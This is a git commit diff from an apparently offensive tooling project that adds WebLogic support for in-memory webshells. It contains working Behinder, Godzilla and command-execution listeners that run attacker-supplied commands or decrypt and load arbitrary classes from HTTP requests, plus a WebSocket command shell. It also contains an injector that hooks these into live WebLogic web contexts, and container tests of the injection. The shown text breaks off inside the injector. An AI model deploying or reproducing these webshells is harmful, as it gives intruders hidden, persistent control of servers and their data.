mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support weblogic filter listener (#5)
This commit is contained in:
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class WebLogicShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -48,7 +48,7 @@ public enum Server {
|
||||
/**
|
||||
* WebLogic 中间件
|
||||
*/
|
||||
WebLogic(null),
|
||||
WebLogic(new WebLogicShell()),
|
||||
|
||||
/**
|
||||
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
||||
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class WebLogic1036ContainerTest {
|
||||
public static final String imageName = "reajason/weblogic:10.3.6";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
);
|
||||
}
|
||||
|
||||
// @AfterAll
|
||||
// static void tearDown() {
|
||||
// String logs = container.getLogs();
|
||||
// log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
// }
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(7001);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class WebLogic12214ContainerTest {
|
||||
public static final String imageName = "reajason/weblogic:12.2.1.4";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(7001);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class WebLogic14110ContainerTest {
|
||||
public static final String imageName = "reajason/weblogic:14.1.1.0";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(7001);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.behinder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||
public String pass = "{{pass}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public BehinderListener() {
|
||||
}
|
||||
|
||||
public BehinderListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = ((HttpServletRequest) request).getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.command;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.command;
|
||||
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2024/12/9
|
||||
*/
|
||||
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||
|
||||
public String paramName = "{{paramName}}";
|
||||
private Session session;
|
||||
|
||||
@Override
|
||||
public void onMessage(String s) {
|
||||
try {
|
||||
Process process;
|
||||
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
|
||||
if (bool) {
|
||||
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
|
||||
} else {
|
||||
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
|
||||
}
|
||||
InputStream inputStream = process.getInputStream();
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int i;
|
||||
while ((i = inputStream.read()) != -1) {
|
||||
stringBuilder.append((char) i);
|
||||
}
|
||||
inputStream.close();
|
||||
process.waitFor();
|
||||
session.getBasicRemote().sendText(stringBuilder.toString());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onOpen(final Session session, EndpointConfig config) {
|
||||
this.session = session;
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
}
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaListener() {
|
||||
}
|
||||
|
||||
public GodzillaListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+266
@@ -0,0 +1,266 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicFilterInjector {
|
||||
|
||||
static {
|
||||
new WebLogicFilterInjector();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebLogicFilterInjector() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||
for (Object componentRuntime : childrenSet) {
|
||||
try {
|
||||
Object context = getFieldValue(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFieldValue(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
